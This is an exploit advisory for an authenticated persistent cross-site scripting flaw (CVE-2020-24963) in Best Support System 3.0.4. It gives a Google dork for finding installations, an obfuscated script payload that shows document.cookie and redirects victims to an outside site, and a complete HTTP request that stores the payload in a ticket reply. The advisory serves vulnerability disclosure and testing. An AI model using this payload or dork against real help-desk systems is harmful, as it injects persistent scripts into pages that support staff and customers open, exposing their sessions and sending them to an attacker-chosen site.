Best Support System 3.0.4 Cross Site Scripting

`# Exploit Title: Best Support System 3.0.4 - 'ticket_body' Persistent XSS (Authenticated)  
# Google Dork: "Powered By Best Support System"  
# Date: 2020-08-23  
# Exploit Author: Ex.Mi [ https://ex-mi.ru ]  
# Vendor: Appsbd [ https://appsbd.com ]  
# Software Version: 3.0.4  
# Software Link: https://codecanyon.net/item/best-support-systemclient-support-desk-help-centre/21357317  
# Tested on: Kali Linux  
# CVE: CVE-2020-24963  
# CWE: CWE-79  
  
  
[i] :: Info:  
  
An Authenticated Persistent XSS vulnerability was discovered in the  
Best Support System, tested version — v3.0.4.  
  
  
[$] :: Payloads:  
  
13"-->">'` -- `<!--<img src="--><img src=x  
onerror=(alert)(`Ex.Mi`);(alert)(document.cookie);location=`https://ex-mi.ru`;>  
  
  
[!] :: PoC (Burp Suite POST request):  
  
POST /support-system/ticket-confirm/ticket-reply/11.html HTTP/1.1  
Host: localhost  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 350  
Origin: https://localhost  
Connection: close  
Referer: https://localhost/support-system/ticket/details/11.html  
Cookie: [cookies_here]  
  
app_form=8d1c319d5826a789b3ca3e71516b0c5c&ticket_body=%3Cp%3E%3Cbr%3E%3C%2Fp%3E13%22--%26gt%3B%22%26gt%3B'%60+--+%60%3C!--%3Cimg+src%3D%22--%3E%3Cimg+src%3D%22x%22+onerror%3D%22(alert)(%60Ex_Mi%60)%3B(alert)(document.cookie)%3Blocation%3D%60https%3A%2F%2Fex-mi.ru%60%3B%22%3E&status=&app_form_ajax=ad1ce2b2c3eb943efaa8c239ff53acc2  
`